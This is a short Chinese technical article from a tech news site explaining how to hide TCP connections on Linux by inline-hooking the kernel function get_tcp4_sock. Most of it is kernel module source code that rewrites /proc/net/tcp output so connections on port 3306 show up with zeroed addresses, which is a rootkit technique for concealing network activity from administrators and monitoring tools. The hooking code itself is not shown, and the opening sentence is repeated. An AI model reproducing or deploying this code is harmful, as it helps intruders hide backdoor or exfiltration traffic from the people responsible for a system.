Linux下隐藏网络连接的另一种方法

系统 Linux
直接inline hook住get_tcp4_sock这个函数就行了,只不过需要重新实现下get_tcp4_sock的功能,在作下过滤。比较简单,代码如下:
直接inline hook住get_tcp4_sock这个函数就行了,只不过需要重新实现下get_tcp4_sock的功能,在作下过滤。比较简单,代码如下:

 #include <linux/kernel.h>
    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/version.h>
    #include <linux/types.h>
    #include <linux/string.h>
    #include <linux/unistd.h>
    #include <linux/fs.h>
    #include <linux/kmod.h>
    #include <linux/file.h>
    #include <linux/sched.h>
    #include <linux/mm.h>
    #include <linux/slab.h>
    #include <linux/spinlock.h>
    #include <linux/socket.h>
    #include <linux/net.h>
    #include <linux/in.h>
    #include <linux/skbuff.h>
    #include <linux/ip.h>
    #include <linux/tcp.h>
    #include <net/sock.h>
    #include <asm/uaccess.h>
    #include <asm/unistd.h>
    #include <asm/termbits.h>
    #include <asm/ioctls.h>
    #include <linux/icmp.h>
    #include <linux/netdevice.h>
    #include <linux/netfilter.h>
    #include <linux/netfilter_ipv4.h>

    MODULE_LICENSE("GPL");
    MODULE_AUTHOR("wzt");

    __u32 wnps_in_aton(const char *str)
    {
            unsigned long l;
            unsigned int val;
            int i;

            l = 0;
            for (i = 0; i < 4; i++) {
                    l <<= 8;
                    if (*str != '\0') {
                            val = 0;
                            while (*str != '\0' && *str != '.') {
                                    val *= 10;
                                    val += *str - '0';
                                    str++;
                            }
                            l |= val;
                            if (*str != '\0')
                                    str++;
                    }
            }

            return(htonl(l));
    }

    void new_get_tcp4_sock(struct sock *sk, struct seq_file *f, int i, int *len)
    {
            int timer_active;
            unsigned long timer_expires;
            struct tcp_sock *tp = tcp_sk(sk);
            const struct inet_connection_sock *icsk = inet_csk(sk);
            struct inet_sock *inet = inet_sk(sk);
            __be32 dest = inet->daddr;
            __be32 src = inet->rcv_saddr;
            __u16 destp = ntohs(inet->dport);
            __u16 srcp = ntohs(inet->sport);

        printk("!! in new_get_tcp4_sock.\n");

            if (icsk->icsk_pending == ICSK_TIME_RETRANS) {
                    timer_active    = 1;
                    timer_expires   = icsk->icsk_timeout;
            } else if (icsk->icsk_pending == ICSK_TIME_PROBE0) {
                    timer_active    = 4;
                    timer_expires   = icsk->icsk_timeout;
            } else if (timer_pending(&sk->sk_timer)) {
                    timer_active    = 2;
                    timer_expires   = sk->sk_timer.expires;
            } else {
                    timer_active    = 0;
                    timer_expires = jiffies;
            }

    /*
        if (src == wnps_in_aton("127.0.0.1")) {
            printk("got 127.0.0.1");
            return ;
        }
    */
            if (srcp == 3306 || destp == 3306) {
                    printk("got 3306!\n");
            seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
                            "%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
                    0, 0, 0, 0, 0, 0,
                    tp->write_seq - tp->snd_una,
                    sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
                                                 (tp->rcv_nxt - tp->copied_seq),
                    timer_active,
                    jiffies_to_clock_t(timer_expires - jiffies),
                    icsk->icsk_retransmits,
                    sock_i_uid(sk),
                    icsk->icsk_probes_out,
                    sock_i_ino(sk),
                    atomic_read(&sk->sk_refcnt), sk,
                    jiffies_to_clock_t(icsk->icsk_rto),
                    jiffies_to_clock_t(icsk->icsk_ack.ato),
                    (icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
                    tp->snd_cwnd,
                    tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
                    len);

            }
        else {
            seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
                            "%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
                    i, src, srcp, dest, destp, sk->sk_state,
                    tp->write_seq - tp->snd_una,
                    sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
                                                 (tp->rcv_nxt - tp->copied_seq),
                    timer_active,
                    jiffies_to_clock_t(timer_expires - jiffies),
                    icsk->icsk_retransmits,
                    sock_i_uid(sk),
                    icsk->icsk_probes_out,
                    sock_i_ino(sk),
                    atomic_read(&sk->sk_refcnt), sk,
                    jiffies_to_clock_t(icsk->icsk_rto),
                    jiffies_to_clock_t(icsk->icsk_ack.ato),
                    (icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
                    tp->snd_cwnd,
                    tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
                    len);
        }
    }

【编辑推荐】

  1. Linux系统下配置Netware服务器方法
  2. 嵌入式设备上的 Linux 系统开发
  3. 深度介绍Linux内核是如何工作的(1)
责任编辑:庞桂玉 来源: IT168
相关推荐

2009-06-17 12:01:21

Linux

2010-07-21 16:23:09

运行telnet程序

2015-07-28 13:36:04

2014-09-17 14:37:06

2018-04-18 07:34:58

2013-05-22 15:31:07

AOP的CGlib实现

2010-06-09 16:17:20

TCP IP协议网络故

2016-03-03 10:29:31

用户信息改进

2016-07-11 16:18:26

互联网

2011-12-29 21:28:31

Metro UI

2023-06-18 23:19:17

ChatGPTPPT方式

2010-09-02 09:14:35

CSS浮动

2014-01-13 10:36:53

C++错误

2019-01-02 08:04:29

GAN损失函数神经网络

2011-07-21 14:17:15

Ceylon

2013-09-30 10:13:08

IT女程序员

2010-03-29 21:04:02

无线网络配置

2013-10-21 15:11:15

OrmsqlOrm设计

2016-10-26 09:12:58

2019-03-17 15:59:05

Android PAPIAPP
点赞
收藏

51CTO技术栈公众号